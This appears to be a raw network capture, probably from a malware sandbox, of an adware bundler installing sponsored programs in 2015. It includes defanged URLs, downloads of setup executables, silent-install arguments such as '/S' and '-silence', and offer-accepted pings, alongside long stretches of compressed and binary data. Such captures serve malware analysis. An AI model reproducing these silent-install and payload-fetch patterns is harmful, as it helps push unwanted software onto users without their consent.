Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...K...K...^..<.!%.A..oT.....u.I. .<i.....e.`Q9..."...b.UV....
...{...V.sg(.....;`....5.1he.p.i..|..,..e...XS...7.z....y...R....#.@G&
gt;..\.A&....y.b\heAJ..}...o.W?.......N...Hi.{.9...~.xx:l....3....6S8j
.qD.0...._......m..:.l.....k$...._...t.........D....9.b....=)... ....]
{..Q9[..gK.H...E.....H7.&...#..f=...-...x.b...h.....<.....y(..O..$.
.?N..F$....Cy..b...........-z...................}.>.N.!.....Z..<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default8653&xdm_p=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:19 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT

ETag: W/"226cdf70832ad01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip

9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Tue, 10 Feb 2015
 04:00:19 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT..ET
ag: W/"226cdf70832ad01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....
8.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T
2....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../".......
..0......

GET /res/beat/204/Beat.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default8653&xdm_p=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:19 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 14 Jan 2015 21:12:18 GMT

ETag: W/"969a8ec73e30d01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Type: application/x-javascript

Content-Length: 0

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Tue, 10 Feb 2015 04:05:28 GMT

ETag: D41D8CD98F00B204E9800998ECF8427E

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

HTTP/1.1 200 OK..Date: Tue, 10 Feb 2015 04:00:20 GMT..Content-Type: ap
plication/x-javascript..Content-Length: 0..Connection: keep-alive..Cac
he-Control: public, max-age=3600, s-maxage=31536000..Expires: Tue, 10 
Feb 2015 04:05:28 GMT..ETag: D41D8CD98F00B204E9800998ECF8427E..X-AspNe
t-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2.
.X-Cache: HIT..

GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&Bu
ndleID=NONE">here</a></body>....


GET /finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Length: 2029
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....y.|.^W......e.feY,/...Z
.YO..x:.............y...l..........X}.N.e./..>....y.pWWY;....:...b.
WMzU..j.....y^..l9../.k....M.|....~.__U..>......g...~6.?.nG..Q..y..
.\' .v.....g..H..o.W..]..k.....t..M.~.n.....7NRz..(..u^~..4[V.b.....:?
[email protected].) ...M{]....6.O.....l.#.O...y.Q.....52.d....2.
.n.../Z......`|oL...45.^...2..>:z|W~......2..S..b............].'..B
g....hj.....VUC......>.=~.............0[.........E{=-w.....w.......
..l{...l{...........'...{..N>.=.f......./N..Y.6...q.g;../.Y..=.....
2.?.n..UW....||..7-.i..>.5..p...._..>.......z9 .....GiA..r.F...?
....H.</f...R(....?yv...o.......Y..Fw.N_>........./.|...._\.....
.Y...~...d.<_._}y.{.;i..:.........j.'..'..O..L...]..~3............7
_....}.......<.......g:-....U...Qy.B......1.9K.]..X\...,....~..}.]V
..x.5... b.p;}Q...V..t....nF.'D.a..~..1$.N..z........|.(........$.....
..6.[..h...R[..=.3.10.......~.R.^.....^...p?..H..M>K'.1l.f......9m.
.UU.w..6.OR.....O.......|.3.{.<..u.oD:N...x.z5..c.|.WU.>./N..u]\
....N..C.....RXk...e...R.M^_.3...../.}X..e6.&._.o...,[email protected].|6..o..3...
F@......~...RRV3.:t.f..'M.L.J..x7$5....g...j./.s.....f....v.<..=...
}|..vA......v.9..Bl...L.,/..!T...E.no.;.2...Y...w..>.].w.......o...
/.:.;...4)...........~z.......e..X.....H.mlK.Xd-Z...pZ.4djw....e6.<<< skipped >>>

GET /js/jquery-1.8.3.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:05 GMT

Accept-Ranges: bytes

ETag: "806e96648984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Length: 33537
.............v.F./..^.....V..EIN...P0....3...=.d(:."A.1.0.(Y.._..q....
._Uw....g...L,....................."]U./.E.?.........o.['......?._...;
...|y.1/yqy.H.IV&........u6..<..U.w...W?.......~.'..n;,.j]d...$.^..
.\-.....SE..U.l..N......o.M..]:..(....d......*..Si,..Y\.G^?...j.O.....
..z.....o..i\&~0,.dp.TO..H/.U....*...|~@mx%}..=.Qq{WDh...u..z'!...E..S
y....7..._.=...Q........".].VqQ&..}..^.b;. ..2..^..s=.mB.S'.......o...
.y.W.iv...T..j.....i.|..n__..L ?.W. ..Y.f..G..xr.......n.....T~pg....I
vr. tO.'.M/....zE....o..sj. ..Y~.D.....`.O.5.a..H%u.9.f8.....#.\.00V..
[email protected]).5.....|.B.I..S\..r..M.QG5u%.I...J....<]T..
.u....*r...gu..-{R..-/...D:_....7......x..hsM.$..g.t....Q.........|. 1
.....$.....g...W~`W!......;?..u....w...xI5...../^..l.......o..0=l..8#}
.[i,;@...zp...x....bNh..T.4.....Tn_*U.j.....=......ER%.9.......g`O...{
}....NT...W.I..g.....k)4.g3j&S.3.&.6g.sx....%.X.l.w[%I.._.!.P.;.7#.i[$
qa.hyx....*.,..2ifk%a..H...5.6}...36.F...HhH. .*.o...=..}....\.VyQ....
....<c<.f.d9<....,....p..5r..A.=I..."D.\.>..P.z6K..zQ=.J..
...h....D.q./...D..A~2)..|...F...<.....x.S..m6.R.....(.s.CW..J..I..
..r.-<p......E....e..F [email protected]_......&Dd.y.d.hW
.......{.r.Z GcM.Kg......\ g...l{^o........q4..i.A;........w...#.=:...
]5N'}.u.&:....0 ....~Z..R.,%...z.S(....,P.q..m,Hg]]./...:....h'....q .
ay..K.=w.......e...]$..A_,..../f.s...=d8<......6.O....f7;e.I.......
.*4.&....U.U.V.Kw.....S]..I.A....A..V..........=.l</.r.]....(......
l2.3.........,....*...#?#.)..~1~..W.....0.:k..../F.E^.......Hy....<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache



..................................U....\.}..t .}.F.E.u..H.....nD..H.P.
[email protected]@..e...E..E.P.u...Pr@..}..e....
[email protected]... M.......M....3.....FQ.....NU..M..........VT..U
[email protected]@..u....E..9}.
[email protected].}[email protected]@..u..5X
[email protected] [email protected]...\r@._^3.[.....L$..
.nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G.....t...O..t
 .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .....nD.3...W.M
..M..F...t.9M.t.$.B.F.;..nD.sD..i.. ...|...B......t.j.R..........u(..@
t..E....t..E....E.;..nD...r.3._^[.....}..t..}[email protected]....
L$...nD.V3... s495.nD.v,.P.W....u.3.G...z.t.....$...F... ..;5.nD.r._^.
..U.......nD..e..SV.....W.=.nD..E..E.3.9.tK;.sE.5.nD.........u(.E...t.
.<[email protected].#....M...;.u.C... ..;.r.;.t..E..E...}. r..E._^[
.....D$...}[email protected].... .Q..E.....V.t$..j.....nD.k.....8.t\P.....=....tU
[email protected].... ..|$..t/[email protected]$..
.Dr@...}.3.^[email protected]$..J9.....U......
....nD.SV.u.Wj.Y.}..E.3....E..U..........pD..][email protected].....
.A.......$..(@.SP..8...r.....L.D.9][email protected].......
[email protected]@[email protected]].u"...oD.j
[email protected][email protected]...;....#M..D..
...<....4..oD.V.......P.D..5`r@.;.t.RQ...E...d.D.;.......PQ.......j
[email protected]..<.....W..?....;.tBj\V. ?....SW.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145810-291620

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 145810-291620/583240

Content-Length: 145811

Connection: keep-alive
~!?.w.e.Lc.~U..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..
C!/.Z......b.e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s
..).9..axM.t...*...8J........2}...Yq.M.........G..#..Y..........=.A...
~..R....QL9........VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)...
.<.\..}RX7.o...V..t.}......'.............6o8....L .H.....&...R.,...
..k..Bf.LJ.......\......0..$.s.u.. ....w..~.)..c......X......[.....[..
:...W..k...Z...:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z.
...".....W....{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?.
.......Z....^..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......n
K'.$oJ.}k......7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E
.......M?... h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.
j.\..."....|.7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....
]L...s.K.a..........".y..II...{._...A......u...*sg.........1...S.Jv.hE
.x..rX....bF.. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db
...,@*9.6K..<`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^
.).8fR \...3.M.....W}[email protected].....
..q..Gh.R.... zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.
....5.....P...W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....
w79.......pB.J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>
.L.>.....9f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.......
......:....{j...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..
6.\...3.%.....c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU..<<< skipped >>>

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 03:59:25 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<ANON>.<ID>e5482312-2be3-46f2-b003-7761c59f
eba2</ID>.<PW>oP5QhnYw</PW>.</ANON>.</RESUL
T>...

GET /downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N.....Nw.2........I..... .....KD...g.O
v....B..e;...L[.P.*.r......N.....q........,N..W.qg.-.Fr...."....._.y0O
f......`.}\....c...};=.4mD.............".....T...w..y:.../.Y.9<.O.,
...y..o\.....^..g..W.s1./N..,9...?..Ev2......r1...,=Yd.........zM&.d1.
...a.-f./.~......P....O..A6.G.??...|:X|.g..|..F.}....7..X......z...f.W
....S....".N..e0?./.n..Y.)......&k.'..../G#<..N..>v.t`>.d.O:.
~@..(2..\f'.{.....<.a.......t..d.....-&..8..x.....t9.a0..R......4..
...-p1.....I?..\d....>K.....d:...<9...l....e......Q.../.y..."9..
..(hk..{'.QO..E<...}r.....x....l3s.4..>...'.$.-S,...n...ef..N...
.>,.w.jg.$.bl3<.....j.'..d0...I:.0.M..$..'..'~8..V.M......2{.9.{
.y.U.h8.!8.c.^,G.|.=H...9F...m.X5.e... L....i...R>.x...zm9Y.{......
.....Ir.......<...1.......}h>...d.A|[email protected]..:. ..[)P.%Yl....4f
9.e.{.'...........h......I_H.W.`...a.._.K.Y...x.e.....O...B>^.Fny(9
I....9.{7..n..9.Mo...d...?...!.../.8.k| . ..`e._..S.w{....w.r{..NU.b..
x.-w.x.C........1.;....e.cY....w.4.to].... .}].[............s.a.....&g
t;..}...}....~.......k..~...............Z........{M...........|..n..[_
9...r9........ ..v..n.^.k.w.......C._<....,...M.`..T....x>....^.
./..<.G..?;....<..a........0x.........yA.Li.]*e....cD....#.....l
G4XN..l.a?LZ..l..M.s0.]..uy..qk......._.`...(..[.l!...8.|..:A L..wy...
.RY.{..I:.l2\....Y.2.4Ss#....dk......8.R.....#.b.>o..]>..7\..6t&
gt;..........S...~....d9.aU...aY..;..k*.G.la.*..J......~_Kq..-|.$..s..
....-&.[....N.O.N1.....|1._r_.w .g3.=.~..6!..}...S0.XU^.....Q...X.<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c1daebeb52f4eabf469c6ed8ad1c0&uid=49e8b48101569a41ad990f2a534d0e40&tokyo_csrf_key=60ce6d0d3fa2c2bda9f59d257bac8a3d&tokyo_csrf_timestamp=1423540741&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=flvplayerkuiw&country=UA&hostBrowser=ff&unique_id=107e4dff93c730f0dfd7b0fba2aba7c7 HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.b
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:02 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4cd.............Wko.6.. .> v.p..{ ..v...s.`.....l....T.5..........Y
.5@...%y....{7..hw|.6.6u.,M....T4.3w|h.s. .....[4s...<.V..-........
..\.H.J-zi!.,WR...3..l>.7.q.....Ic...zp....1..#........4fj.Wwg..3.O
.^}..:8..6..;.....Y1..i*.CWRh. ..Z..ee ..p.9 4..z...pA...z..8......M`.
n9....l<...}x..Jj...H......N..Zx.z.}......k..`..Q...........'..B.,.
.._...d.?..~z{s.....J..............x..{..D....{K.q...Uc..lT.R.[#......
.Ns-.5...._..6..m..?wU..~a./.O.ex....*IEM^.p......Z).....4.NX$.c.7 .Fa
..L@>`[email protected].#.Rf`.......}/.....w.D.h..;.t.).Ce!M,.2.
m[....$... ...bmuH.[.jY..X........>..]|UU...,g.;K3..X.........F~z.f
...........vtY.5......;..}.A...!.5MADAuS....Rv.*M...Wl. .;Lo...M.Qx.Z.
9....e.5.......P..>.N.)p.Z8...\..L....vG7p.4SZ<.......m..U..ht@8
p..B..}$..... ..."bp>|..3..C...!.d$$....L.bH)r..VA....).v..2..w....
.X.Z..z..j..x..F)H.z.p2H..@..........]c....L....v...q../.(g!K ....B.."
...G..1,.}.(........Kg..c..F.. s,..1k7.....w...w...R ml.>7.....R.).
..8..............#......7x6K.....~...>.z.L\.L..\.:O.7L.O.v^3z..v7."
R..K.\..~sc9J..%.6.x..Y....3<=.........s.(ko...Hx....I\....bD..:...
.....G!p..U.[.~....5(.w.HY|....E.:.{wzJ?..#.'.........stz8....?_ZD..6B
..j...d..I....F..l......./R..h.&.Y...~.a.E. .2.F>.....%.f) w.GA8...
Q...7..........0......


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.831503041393203 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:02 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:02 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -PFT1L9h2K6A45XZUxuvcZOqLGcJR4r8iuVgx-wTAm9owqXWPDFMyQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
